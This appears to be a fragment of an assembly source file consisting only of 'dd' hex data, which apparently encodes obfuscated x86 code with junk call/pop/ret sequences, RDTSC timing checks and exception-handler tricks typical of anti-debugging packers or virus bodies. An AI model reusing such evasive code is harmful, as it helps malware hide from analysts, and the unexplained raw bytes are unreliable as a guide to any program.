		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0D9C35343h
		dd 4A9339E5h, 0B713D937h, 8D8AB752h, 2D96C485h,	0DF816606h
		dd 6690137Ah, 50CC18BBh, 8850Fh, 50570000h, 5A310F52h
		dd 6A905F58h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0BDC5C356h, 880F853Eh,	1Ch, 12E8h
		dd 21702200h, 0E95150BEh, 1C26E8C3h, 0DE0BC045h, 66B74385h
		dd 5F3A1ABBh, 35FF64h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0ED4AC353h
		dd 0A81CBB66h, 19880Fh,	14E90000h, 0A3000000h, 5E379EAh
		dd 98529F45h, 523554C1h, 0A2596626h, 64551BC3h,	2589h
		dd 7E90000h, 81000000h,	0DA9AD5C6h, 85FF5AA0h, 62A14C1h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0ABC35343h
		dd 0EA0DB52Fh, 6AA2E123h, 51006AFFh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 71B589D8h
		dd 0B062A16h, 2A10E99Dh, 11B5FF06h, 6A062A03h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 2159C351h, 95FF3345h, 62A238Dh, 100E9h, 7D8D8900h, 0B0062A08h
		dd 49B58900h, 2B062A0Bh, 2A2D019Dh, 8970E606h, 2A0DFD95h
		dd 6071E406h, 1CE8B66h,	2A33B1BDh, 613C6106h, 0CF830Fh
		dd 0B60F0000h, 55BD33C8h, 0BA062A00h, 6, 8CD78166h, 0E9C18B7Bh
		dd 14h,	8A3B2716h, 0F63C3566h, 0D487162Fh, 0FBCB253Dh
		dd 0F2AE7D64h, 8904E8C1h, 2A1BB185h, 0E2F76606h, 2BFA8B66h
		dd 0F18529C8h, 8B062A0Eh, 0F98DBFD1h, 1E93E98h,	0F5000000h
		dd 1121858Bh, 5157062Ah, 559D8Bh, 5B5F062Ah, 0E907C083h
		dd 0Bh,	77442952h, 56BCD408h, 8383CBADh, 850900C0h, 62A1FE1h
		dd 0CDBD8Bh, 0D03B062Ah, 10830Fh, 0E9FC0000h, 3Dh, 1525BD89h
		dd 0BB66062Ah, 8D8B7131h, 62A2261h, 26999D0Bh, 0E183062Ah
		dd 1E840F01h, 80000000h, 0A58336CFh, 62A2261h, 0DB8166FEh
		dd 95897388h, 62A1121h,	0B21EBB66h, 0E9h, 81B58D00h, 0BB062DCEh
		dd 6736B341h, 8D89006Ah, 62A2A8Dh, 343995FFh, 8C0F062Ah
		dd 21h,	0BE8h, 9E75C900h, 0A06E20D0h, 475C206Eh, 0AE8h
		dd 0DC874E00h, 0BC068C2Eh, 5B3ED9E8h, 0B9FE8B5Bh, 70Dh
		dd 6810Fh, 0B5890000h, 62A04F5h, 0B3FCE183h, 8BFCF5FCh
		dd 0B8F9h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0AA30D6C3h, 3EAF7771h, 0D22B4C87h
		dd 2B6D9D8Bh, 33AD062Ah, 3E8D1C2h, 4E983D0h, 9D8BF475h
		dd 62A2391h, 749BD8Bh, 9501062Ah, 62A077Dh, 880Dh, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 84F197DFh, 7EFFBE16h, 6810Fh, 0D3810000h, 78AB7CA5h
		dd 890FF88Bh, 6, 137D9589h, 958B062Ah, 62A3395h, 0B9EBD3BFh
		dd 0DA8B664Ah, 0BF98D8Bh, 6A062Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 8B50BCC3h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0BBC35242h,	3F0DC81Ch, 128A7F01h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 1FC35343h
		dd 0E5C1ABA7h, 0F274D91h, 1689h, 0BE800h, 0F5AE0000h, 0F2DC0B2Eh
		dd 0DB8F6EE9h, 2B37BBDFh, 835F3FF2h, 2A0FA5BDh,	840F0006h
		dd 84h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h
		dd 0B1C35545h, 7E9h, 7A811E00h,	3706E99Ah, 0B8F5h, 8D890000h
		dd 62A2C0Dh, 4E978D8Dh,	12E8062Ah, 0A8000000h, 0F8AFAF8h
		dd 4726F596h, 107B5DDFh, 0DD0F970Dh, 0DBD893Ch,	5B062A26h
		dd 6AE1FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0AB63EDC3h, 4D17623Dh, 9D2BE2DDh,	62A13B9h
		dd 6C5BD83h, 0F00062Ah,	49A84h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 9D318237h
		dd 62A32F5h, 6C5BD83h, 0F01062Ah, 48584h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
		dd 8587FDF5h, 0BD8B4F62h, 62A21F1h, 6C5BD83h, 0F03062Ah
		dd 41B86h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 7D3B9050h, 0F881ACEBh, 6A60946Dh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 89E2C350h, 2A2BF185h, 0D98C6606h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 3FC35646h, 1A8AF75Fh
		dd 80400AEAh, 0BB6604E1h, 0C90AB7B3h, 121840Fh,	858B0000h
		dd 62A2939h, 33918529h,	8533062Ah, 62A05F9h, 8E0Fh, 66500000h
		dd 489D98Bh, 0D8BF0F24h, 6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 0A2F948C3h, 1A14FA3h
		dd 2A254585h, 4E806h, 3FF0000h,	8B50001Fh, 24448BDFh, 8B666004h
		dd 613DB1F9h, 4489008Bh, 8B0F0424h, 0Ah, 48E0Fh, 0BB660000h
		dd 6A586E6Eh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 7326C355h, 95FF339Ch, 62A2B81h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 13C35747h
		dd 3CB55C8Eh, 0FEBF0F76h, 63E7BF66h, 65EF8166h,	0BE85892Eh
		dd 6A062DB9h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 5416C357h, 8BDA7CE0h, 228E9DEh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 15D25CC3h, 594C1094h, 19BD8B98h, 8B062A0Bh
		dd 2DB9B685h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 0D43EAA47h, 0DF4AAB5Ah, 24D59589h
		dd 0BF66062Ah, 0C7F3D5h, 18h, 3860Fh, 0BF0F0000h, 0BAB58BFBh
		dd 6A062DB9h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 0F632C352h, 11E99015h,	7A000000h
		dd 0AF49A07h, 0FAD7A3AAh, 0BFCE4CCFh, 1BE83E56h, 4DD858Bh
		dd 6A062Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0B84A2AC3h, 858B0689h, 62A2939h, 0E036BB66h
		dd 6A044689h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 0CB1FC352h, 318F2495h,	51DFBF66h
		dd 60525096h, 4E56A1B9h, 310F6128h, 585AF98Bh, 0BA666050h
		dd 60514426h, 96615B61h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0E8C35747h, 0FFD88B10h, 2DB9B6B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0E8ECEB3Dh, 89B25229h, 2A00D18Dh, 4E806h, 3FF0000h
		dd 0B356001Fh, 50505BDDh, 0DF8B6652h, 8B66310Fh, 8B585ADEh
		dd 66042444h, 8B533DBFh, 89FB8B00h, 58042444h, 9CDB589h
		dd 858D062Ah, 62DB9BEh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0E6C35646h, 22A8A756h, 900A9FADh, 5350DE8Bh
		dd 5E95250h, 0C6000000h, 0B4462FE6h, 10E8310Fh,	0CF000000h
		dd 927C437h, 747780D2h,	46F2F346h, 5BD5B1D1h, 905B585Ah
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0DCC35343h
		dd 47B61FCh, 0E026F4D6h, 0FA38BBDEh, 0BD296032h, 62A02F1h
		dd 2B8195FFh, 0BB66062Ah, 6A61E739h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0AA8EC353h
		dd 0FEBB7CCFh, 6C585C7h, 3062Ah, 0BD8B0000h, 62A1B01h
		dd 0B9BEBD83h, 0F00062Dh, 3F84h, 0F7816600h, 50E9312Fh
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 0ADBAC353h, 8FCB49A7h,	0F39BD31h
		dd 2B60062Ah, 2A04A58Dh, 71BD2906h, 61062A08h, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 89C08B00h, 2A247585h
		dd 11E95006h, 87000000h, 0BFE451Ah, 0D1406D8Ch,	0A2567BABh
		dd 198D936Ah, 0C5BD835Bh, 3062A06h, 3B2850Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 2AA481C3h, 9C2BB22Eh, 3810Fh, 8B660000h, 0FE8B66FEh
		dd 0B9BEBD83h, 0F00062Dh, 37784h, 10E900h, 0FA5B0000h
		dd 0CAE2798Bh, 0AC7ACBBEh, 330E5E6h, 0B5FF725Bh, 62DB9BEh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0D8C35141h
		dd 534C2201h, 0F3168316h, 164D95FFh, 9589062Ah,	62A3451h
		dd 0B9B2B58Bh, 6A062Dh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 9E94FC3h, 0BE000000h, 5FF2C2FDh
		dd 0DA336B00h, 106C7h, 66960001h, 509A1EBFh, 0CD9D0B96h
		dd 0FF062A13h, 2DB9BEB5h, 0CD958906h, 0FF062A1Bh, 2A1A3995h
		dd 0DF816606h, 0B58BECEDh, 62DB9B2h, 8BF88B66h,	2A12E985h
		dd 1B58906h, 89062A11h,	2A139DB5h, 0C4868906h, 0E9000000h
		dd 6, 936DF13Eh, 958B033Eh, 62A3395h, 0F9D9D8Bh, 0C283062Ah
		dd 518D0904h, 0E9062A2Dh, 0Dh, 2F9F3896h, 0FF405BD9h, 5C193340h
		dd 2050894Eh, 0EF045EBFh, 2C858D06h, 6A062DCCh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 0BD53C357h, 45FCA02Ch, 0B58907E0h, 62A22A9h,	22D8BB66h
		dd 0B88689h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0BD2258C3h, 0E65BD8Bh, 6A062Ah
		dd 0A6D9D8Bh, 0B5FF062Ah, 62DB9BEh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 18h, 10C35040h, 63B7AD8Ah, 5D95FFF8h
		dd 80062A13h, 0BD8BE2DFh, 62A083Dh, 7E850h, 75280000h
		dd 15ABBBB7h, 52505173h, 585A310Fh, 34895F5Bh, 0FFDF8B24h
		dd 2DB9BEB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 6860F03h,	29000000h, 2A134D85h, 958B6006h
		dd 62A0369h, 995FF61h, 0F062A26h, 0BD83DBB7h, 62A1F61h
		dd 2E840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0C273C357h,	469A69D8h
		dd 506FF5C9h, 89243489h, 2A0CF9BDh, 0BEB5FF06h,	6A062DB9h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0F857C351h, 23AEFCF3h, 8B578505h,	2A0E9D9Dh
		dd 95FF5F06h, 62A1A29h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0A0C35545h, 975C901Bh, 665370A4h, 89A91DBBh
		dd 2A18B995h, 0BEB5FF06h, 6A062DB9h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0B72BC351h
		dd 42B345A1h, 13859D8Bh, 8166062Ah, 0FF137FE7h,	2A0EC595h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 0B589050Bh, 62A305Dh, 1F7DBD83h,	0F02062Ah
		dd 3F84h, 0F58D2900h, 8B062A04h, 2A0F5985h, 959D8B06h
		dd 0C6062A11h, 830F0000h, 1Eh, 12E8h, 29351500h, 86C3DC5h
		dd 110C4133h, 293684h, 0FF534D5h, 89h, 0B5895B00h, 62A18B1h
		dd 93585C7h, 62Ah, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 3BE85EC3h, 83DBD09h
		dd 5B53062Ah, 68E0Fh, 95890000h, 62A3209h, 0FFF3C2E9h
		dd 6E8FFh, 0A7820000h, 0C3CE6814h, 6AC18B5Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 103BC351h, 1C6DB04Dh, 858DCEBAh, 62A1911h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0BAC35545h, 0FE9h
		dd 0B4A57A00h, 0A88248D4h, 1894DDF7h, 0D6D36D31h, 89FA8B50h
		dd 870F2404h, 4, 5FF98B52h, 34599589h, 6A062Ah,	45C38166h
		dd 6AFC56h, 1649BD8Bh, 0B529062Ah, 62A1FD5h, 6833858Dh
		dd 9D89062Eh, 62A1929h,	6A05C083h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 7821C350h
		dd 0D38CD15Bh, 0F3DB767h, 789h,	18C0F00h, 0F5000000h, 0DE9h
		dd 6E74DF00h, 0E5E77AACh, 33FF6967h, 605088AEh,	0F38B6650h
		dd 870F605Fh, 0
		dd 61616160h, 0E9240489h, 5, 6D1D20F5h,	29006AA7h, 2A32518Dh
		dd 6AF906h, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 15h,	4EC35747h, 7595FFBDh, 0F062A12h, 0BD8BD9B7h, 62A091Dh
		dd 0B9668D8Dh, 830F062Dh, 1, 0FD1FFF5h,	68Ch, 29BD8900h
		dd 83062A07h, 2A3415BDh, 850F0106h, 3Fh, 0BEE48060h, 16658589h
		dd 0E961062Ah, 0Bh, 1140ADDDh, 72DD1DD0h, 6A731B51h, 4DBD8B02h
		dd 50062A25h, 310F5250h, 585ADA8Bh, 66240489h, 0DB56F781h
		dd 135D95FFh, 0B2BB062Ah, 0E9337CE2h, 0F1Bh, 0E8h, 0ED815D00h
		dd 62E683Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	25C35040h, 7871A5F9h, 4BC5078Bh, 1284BF8Ah, 8B6665A2h
		dd 0C4858DFEh, 6A062D96h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 456DC356h, 8A0F2377h
		dd 2, 0F380DE8Bh, 8B665099h, 240489F9h,	0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 18h, 5FC35141h, 7C2291E0h
		dd 2325BD8Bh, 0FF64062Ah, 35h, 0FAB70F00h, 258964h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 60C2C355h, 0B54B3E0Bh, 2CE18D89h,	0F88A062Ah
		dd 14C185FFh, 6A062Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 0A52C50C3h, 8988D076h, 2A1181BDh
		dd 89FF6A06h, 2A0B8995h, 1DB5FF06h, 0F062A25h, 128Eh, 7E800h
		dd 6A100000h, 3AB19CF9h, 0CB816653h, 0FF5B2BE1h, 2A238D95h
		dd 112E906h, 0BD890000h, 62A0A21h, 0BD0100B0h, 62A07C9h
		dd 0E63DE780h, 0EE970h,	0AE5A0000h, 0C773BF51h,	0B0775C70h
		dd 2D798CB7h, 9D8B71E4h, 62A07ADh, 830F613Ch, 0DCh, 32BDBD29h
		dd 0B60F062Ah, 0FCBB66C8h, 25850196h, 0BA062A20h, 6, 0B19D8B53h
		dd 5B062A0Dh, 0BD8BC18Bh, 62A18A9h, 8B04E8C1h, 2A0EE59Dh
		dd 8D858906h, 66062A19h, 9D0BE2F7h, 62A1395h, 5E9C82Bh
		dd 2000000h, 4E564F22h,	8166D18Bh, 0E9D02BEBh, 13h, 0EE9h
		dd 17005B00h, 30F0C91Bh, 0D4B6F824h, 8B7AD692h,	2A29A985h
		dd 0AD953106h, 83062A24h, 8D2907C0h, 62A2CCDh, 0BF00C083h
		dd 6CD19890h, 830FD03Bh, 1Fh, 128D0Fh, 0DE90000h, 7E000000h
		dd 0E7D0DBB2h, 3B2BEF9Bh, 0BEE73D4Eh, 2FE9h, 8BF98B00h
		dd 2A2C8D8Dh, 0F9BF0F06h, 0F01E183h, 1B84h, 0A583FC00h
		dd 62A2C8Dh, 5D8D89FEh,	89062A19h, 2A29A995h, 0E9FE8B06h
		dd 0
		dd 0D705B58Dh, 9D8B062Dh, 62A1749h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 84CBD0C3h
		dd 0B928D6D0h, 89347129h, 2A11D195h, 3995FF06h,	6A062A34h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 87D3C352h, 892CE70Bh, 2A1B219Dh, 0D2CB906h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 83A24CC3h, 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 25398C3h, 12498589h
		dd 6AFC062Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0E8A0C350h, 10h, 1D1D90C2h, 0DA98F548h
		dd 2166FE26h, 0F1CF5554h, 6FD78166h, 8E85F58h, 87000000h
		dd 48F5786Bh, 89A53E5Dh, 2A2CC985h, 0C02B5B06h,	0BAh, 0D8B70F00h
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 3830Fh, 0BF0F0000h
		dd 51006AD8h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 0CD5DD1BAh, 139AC44Ch, 0BF0F226Fh, 880DDFh
		dd 0DE90000h, 52000000h, 9B31FECBh, 6BB2441h, 575C6A1h
		dd 2B919D8Bh, 958B062Ah, 62A3395h, 1359BD09h, 8D8B062Ah
		dd 62A0BF9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	0A6C35545h, 9E9h, 0D5691D00h, 8C8F4953h, 0BB660AB1h
		dd 890F6608h, 2, 8B50F98Ah, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 14h,	0B4C35141h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 12C35343h, 8380E47Eh,	2A0FA5BDh, 840F0006h
		dd 68h,	0B8F8BF0Fh, 0
		dd 0C0BFE381h, 8D8D6E69h, 62A4E97h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 19h, 36C35040h, 5D07D32Ch, 0C18509D3h
		dd 0FF062A09h, 50006AE1h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 7B858609h, 1FB9BD8Bh
		dd 0BD89062Ah, 62A1335h, 6C5BD83h, 0F00062Ah, 51184h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 8447D5A5h, 5C67529Ch, 6C5BD83h, 0F01062Ah, 4FC84h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 276309A6h, 2EAB9EBEh, 0BD838C21h, 62A06C5h, 94860F03h
		dd 0E9000004h, 9, 0F0E5A6E5h, 1181F75Ch, 6A60A7h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0A20ADCC3h, 66DD8A16h, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0E180ECC3h, 51006A04h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 0E21A1279h, 0C0955FADh, 294CEB80h, 2A33198Dh, 840F06h
		dd 0A000000h, 28840FC9h, 31000001h, 2A330595h, 39858B06h
		dd 23062A29h, 2A19C19Dh, 0F9853306h, 6A062A05h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 50DAC357h, 0BE8h, 50591400h,	929F8522h, 8289D57Fh, 11E8h
		dd 7670C100h, 699ECC35h, 0B1DF8B10h, 0E42BFAFBh, 0DE93B9Fh
		dd 0C5000000h, 0E431D1C6h, 3E41353Dh, 706DBC21h, 4895B5Bh
		dd 53006A24h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 8FF4E522h, 6830F81h, 89000000h, 2A22D1BDh
		dd 8B006A06h, 2A0C91BDh, 7F4D6806h, 0D98B512Ch,	0B2243481h
		dd 0E951337Ch, 0Fh, 7AA7485Fh, 6A882440h, 0AC73B6C1h, 0FF6763C9h
		dd 2A2B8195h, 4BDF8106h, 890BB15Eh, 2DB9BE85h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0FBF9E3CDh, 0E962B562h, 256h, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 19h, 0ACC35646h,	0F0ACCC43h, 0F1BD097Dh
		dd 8B062A22h, 2DB9B685h, 0CBBB6606h, 0AE875h, 0F3440000h
		dd 24A24008h, 0DA7DB862h, 0F559D89h, 0C75B062Ah, 1800h
		dd 2DBD8B00h, 8B062A16h, 2DB9BAB5h, 2810F06h, 8B000000h
		dd 0DD858BDEh, 6A062A04h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 61C4C355h, 0C4B6E833h
		dd 0EEE48CF4h, 23F7BF66h, 11E9h, 1AA2000h, 6146023Ch, 2DDBF59Dh
		dd 0C6E4244Ch, 689B112h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0ABC35141h, 4159175Eh, 11E809FAh, 95000000h
		dd 90E28FFFh, 2D7474FDh, 67D4613Fh, 4729E77Eh, 25859589h
		dd 8B5F062Ah, 2A293985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 0DBB70F1Ah, 1F35BD8Bh
		dd 4689062Ah, 0EF816604h, 0BF960A09h, 2F3CBFC1h, 85BF6650h
		dd 6A969Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 0C54B2EC3h, 0FB92A377h, 2B8CAACDh, 2A031DBDh
		dd 0B6B5FF06h, 29062DB9h, 2A0081BDh, 4E806h, 3FF0000h
		dd 6060001Fh, 8E86160h,	7E000000h, 0A567216Bh, 5FC6EBDFh
		dd 8B506161h, 8B042444h, 8E800h, 0C500000h, 18A97FF6h
		dd 8D0FAD2Ch, 15h, 10E9h, 0FB7E1300h, 4FB10B69h, 145C9FEFh
		dd 0A2D446CFh, 44895FF0h, 860F0424h, 6,	8D0Fh, 6A580000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 4577C355h, 77DD4009h, 9D8B71ABh, 62A2469h
		dd 0B9BE858Dh, 9E8062Dh, 0F8000000h, 3FDCC686h,	1DEF3D06h
		dd 6660905Bh, 0BA66DE8Bh, 50614BF1h, 6A905F53h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 50C9C355h, 18A99D03h, 95FF062Ah, 62A2B81h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 9C35343h, 51F573D5h
		dd 1A5535BBh, 6A61F84Ah, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 8B6CC351h, 2A111D9Dh
		dd 0FEF8106h, 0C76CCF9Fh, 2A06C585h, 306h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 0E107A70Bh, 0B9BEBD83h, 0F00062Dh, 5284h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0B64D66D2h, 0E9F537D7h, 46h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 89C35545h, 4798F8E6h, 8BC11651h
		dd 458589FAh, 50062A23h, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 6AC08Bh,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 8914C2C3h, 2A06C195h
		dd 14E906h, 0E2ED0000h,	0B7B45EB6h, 0DC31B9E0h,	88306410h
		dd 3288BC26h, 6AD9C7h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0A7E3D3C3h, 679B529h, 8D89062Ah
		dd 62A0B59h, 6C5BD83h, 0F03062Ah, 47F85h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 0BD8BD70Bh, 62A23A9h, 0F928F381h, 0BD833576h, 62DB9BEh
		dd 49840F00h, 6A000004h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 18E3C355h, 3F9EEA16h
		dd 0F8D9AAA8h, 33D2F381h, 0B5FF6945h, 62DB9BEh,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0C1C35747h, 599531B9h
		dd 0FF062A0Ah, 2A164D95h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0E6283D69h
		dd 49E60869h, 0B58B7C04h, 62DB9B2h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 2CC35343h, 0F951C0CBh, 0EDF7F381h
		dd 6C76E37h, 10001h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 0EDC35242h, 53504DB0h, 23619D8Bh, 895F062Ah
		dd 2A11CDBDh, 9BF9606h,	50572295h, 10E95250h, 73000000h
		dd 6F67BB73h, 0D3301596h, 0C884030Bh, 0FD03165h, 0CC8A6031h
		dd 1800BA66h, 96585A61h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Ch, 74C35040h, 236FBA1Fh,	7F6E414h, 0B9BEB5FFh
		dd 9D89062Dh, 62A13C1h,	95FFD1B7h, 62A1A39h, 76D9D8Bh
		dd 0B58B062Ah, 62DB9B2h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 17h, 70C35646h, 0FC72D6Ch,	588h, 0DF816600h
		dd 858BDF24h, 62A12E9h,	0E03FEF81h, 86896B4Ch, 0C4h, 2439B589h
		dd 0BB66062Ah, 958B279Bh, 62A3395h, 0E856006Ah,	3
		dd 5EC35E20h, 4247489h,	4244481h, 15h, 0F8C35646h, 830F69h
		dd 83000000h, 816604C2h, 517960EFh, 389BD2Bh, 895F062Ah
		dd 6A2050h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0A1622FC3h, 6287048Ah, 8D8989C9h,	62A1485h
		dd 0CC2C858Dh, 9D8B062Dh, 62A0F0Dh, 0B88689h, 12E90000h
		dd 88000000h, 0AB50184Dh, 0CF6DB88h, 0BDA0F35Ch, 113E312Bh
		dd 6A006A46h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0F6DC352h, 188h, 0B5FFF800h, 62DB9BEh
		dd 2CA5BD8Bh, 95FF062Ah, 62A135Dh, 96FB8B66h, 0E950A1B3h
